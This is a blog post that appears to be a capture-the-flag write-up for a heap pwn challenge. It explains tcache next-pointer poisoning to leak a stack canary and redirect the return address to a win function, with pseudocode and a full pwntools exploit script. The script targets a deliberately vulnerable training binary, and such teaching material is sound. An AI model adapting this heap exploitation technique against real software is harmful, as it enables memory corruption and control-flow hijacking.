Post

(Dynamic Allocator Misuse) level 10

(Dynamic Allocator Misuse) level 10

Information

  • category: pwn

Description

Leverage TCACHE exploits to gain control flow.

Write-up

Goal: leak the stack canary, leak a stack address to bypass PIE, and finally overwrite a return frame (ret2win) to get the flag.

Idea in one line

Abuse the tcache next pointer in a freed chunk header: overwrite it so the next malloc returns a pointer that points at the canary (and later to the stack). Use that read/write to leak the canary and stack, then craft a scanf payload to hijack control flow.

1. Redirect tcache next to the canary

  • Allocate a chunk (call it alloc[0]) and then free(0).
  • After freeing, write into the freed chunk’s header to set the tcache next pointer (next_ptr) to the address of the stack canary.
  • When the next malloc is issued, it will return a pointer that resolves to the canary address. Reading/printing that memory yields the canary value.

Pseudo:

1
2
3
4
5
alloc(0)
free(0)
write_header_of_tcache_chunk(next_ptr = addr_of_canary)
malloc()    # returns pointer that points to canary
puts(0)     # leak canary

2. Overwrite return frame and trigger

  • Use the write primitive again to make the next malloc return a pointer to a stack frame where you can place a forged return context.
1
2
3
4
5
// layout on stack (conceptual)
[ padding... ]
[ canary (correct) ]
[ saved rbp ]
[ ret addr -> ret2win ]

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
elf = context.binary = ELF("/challenge/babyheap_level10.1")

offset_ret = 0x118
offset_canary = 0x108

def conn():
    global p
    p = elf.process()

def malloc(idx,size):
    p.sendline(b"malloc")
    p.sendline(idx)
    p.sendline(size)

def free(idx):
    p.sendline(b"free")
    p.sendline(idx)

def scanf(idx,data):
    p.sendline(b"scanf")
    p.sendline(idx)
    p.sendline(data)

def puts(idx):
    p.sendline(b"puts")
    p.sendline(idx)

def quit():
    p.sendline(b"quit")
    p.interactive()
def leak():
    p.recvuntil(b"allocations is at: ")
    stack = int(p.recvline().split(b".")[0],16)
    p.recvuntil(b"main is at: ")
    main = int(p.recvline().split(b".")[0],16)

    

    baself = main - elf.symbols['main']
    elf.address = baself

    malloc(b"0",b"0")
    malloc(b"1",b"0")

    free(b"1")
    free(b"0")

    scanf(b"0",p64(stack + offset_canary + 1))

    malloc(b"0",b"0")
    malloc(b"0",b"0")

    puts(b"0")

    p.recvuntil(b"Data: ")
    canary = u64(p.recvline().strip().rjust(8,b"\x00"))
    
    log.success(f"stack: {hex(stack)}")
    log.success(f"main: {hex(main)}")
    log.success(f"canary: {hex(canary)}")

    return canary,stack

def send_payload(stack,canary):
    
    malloc(b"0",b"0")
    malloc(b"1",b"0")
    
    free(b"1")
    free(b"0")

    scanf(b"0",p64(stack))

    malloc(b"0",b"0")
    malloc(b"0",b"0")

    payload = flat(
        b"A"*(offset_canary),
        canary,
        0,
        elf.symbols['win'] 
    )

    scanf(b"0",payload)

    quit()
      
def main():
    conn()
    canary,stack = leak()
    send_payload(stack,canary)

if __name__ == "__main__":
    main()
This post is licensed under CC BY 4.0 by the author.